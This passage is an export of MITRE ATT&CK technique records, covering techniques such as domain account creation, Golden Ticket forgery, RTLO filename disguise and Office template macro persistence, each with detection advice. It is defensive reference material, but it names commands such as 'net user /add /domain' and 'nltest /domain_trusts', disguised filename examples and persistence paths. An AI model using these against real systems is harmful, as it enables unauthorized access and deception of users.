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attack-pattern | attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-28T14:05:17.825000Z" | "2024-02-01T04:37:36.774000Z" | Domain Account | Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1136.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/002"
},
{
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
"external_id": null,
"source_name": "Microsoft User Creation Event",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
},
{
"description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
"external_id": null,
"source_name": "Savill 1999",
"url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.1 |
attack-pattern | attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T14:57:15.906000Z" | "2021-04-15T03:27:49.437000Z" | Employee Names | Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1589.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1589/003"
},
{
"description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "OPM Leak",
"url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-02-14T16:15:05.974000Z" | "2022-06-16T19:18:22.305000Z" | Domain Trust Discovery | Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1482",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1482"
},
{
"description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
"external_id": null,
"source_name": "Microsoft Operation Wilysupply",
"url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
},
{
"description": "Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
"external_id": null,
"source_name": "AdSecurity Forging Trust Tickets",
"url": "https://adsecurity.org/?p=1588"
},
{
"description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
"external_id": null,
"source_name": "Microsoft Trusts",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)"
},
{
"description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.",
"external_id": null,
"source_name": "Microsoft GetAllTrustRelationships",
"url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships"
},
{
"description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
"external_id": null,
"source_name": "Harmj0y Domain Trusts",
"url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
| [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T19:13:33.643000Z" | "2020-11-05T16:07:03.779000Z" | Golden Ticket | Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)
Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)
The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1558.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/001"
},
{
"description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
"external_id": null,
"source_name": "AdSecurity Kerberos GT Aug 2015",
"url": "https://adsecurity.org/?p=1640"
},
{
"description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
"external_id": null,
"source_name": "CERT-EU Golden Ticket Protection",
"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
},
{
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"external_id": null,
"source_name": "ADSecurity Detecting Forged Tickets",
"url": "https://adsecurity.org/?p=1515"
},
{
"description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.",
"external_id": null,
"source_name": "ADSecurity Kerberos and KRBTGT",
"url": "https://adsecurity.org/?p=483"
},
{
"description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
"external_id": null,
"source_name": "Stealthbits Detect PtT 2019",
"url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
},
{
"description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
"external_id": null,
"source_name": "Microsoft Kerberos Golden Ticket",
"url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)
Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)
Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.
| [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:29.458000Z" | "2024-01-24T00:04:01.066000Z" | Automated Exfiltration | Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1020",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1020"
},
{
"description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
"external_id": null,
"source_name": "ESET Gamaredon June 2020",
"url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:47:16.719000Z" | "2021-10-17T16:35:09.668000Z" | Client Configurations | Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1592.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592/004"
},
{
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ATT ScanBox",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-24T16:55:46.243000Z" | "2023-04-15T00:25:36.502000Z" | Disable or Modify Cloud Firewall | Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1562.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/007"
},
{
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Expel IO Evil in AWS",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"external_id": null,
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor cloud logs for modification or creation of new security groups or firewall rules. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.2 |
attack-pattern | attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-10T19:55:29.385000Z" | "2021-10-14T21:01:59.733000Z" | Right-to-Left Override | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/002"
},
{
"description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Infosecinstitute RTLO Technique",
"url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
},
{
"description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Trend Micro PLEAD RTLO",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
},
{
"description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Kaspersky RTLO Cyber Crime",
"url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection methods should include looking for common formats of RTLO characters within filenames such as <code>\u202E</code>, <code>[U+202E]</code>, and <code>%E2%80%AE</code>. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T02:06:11.499000Z" | "2021-10-17T16:15:52.805000Z" | Malware | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/001"
},
{
"description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "FireEyeSupplyChain",
"url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--791481f8-e96a-41be-b089-a088763083d4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-12-19T20:21:21.669000Z" | "2022-04-01T20:43:55.632000Z" | Component Firmware | Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1542.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/002"
},
{
"description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
"external_id": null,
"source_name": "SanDisk SMART",
"url": null
},
{
"description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
"external_id": null,
"source_name": "SmartMontools",
"url": "https://www.smartmontools.org/"
},
{
"description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
"external_id": null,
"source_name": "ITWorld Hard Disk Health Dec 2014",
"url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.
Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:55.892000Z" | "2023-04-11T22:27:54.003000Z" | Indicator Removal | Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1070",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Containers",
"Network",
"Office 365",
"Google Workspace"
] | 2.1 |
attack-pattern | attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T15:30:42.378000Z" | "2020-03-28T00:43:24.228000Z" | Exfiltration Over Symmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.
Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1048.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048/001"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)
Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-11-07T20:29:17.788000Z" | "2021-08-16T21:27:10.873000Z" | Office Template Macros | Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:<br>
<code>C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>
Excel Personal.xlsb location:<br>
<code>C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1137.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/001"
},
{
"description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
"external_id": null,
"source_name": "Microsoft Change Normal Template",
"url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
},
{
"description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "MSDN VBA in Office",
"url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
},
{
"description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "enigma0x3 normal.dotm",
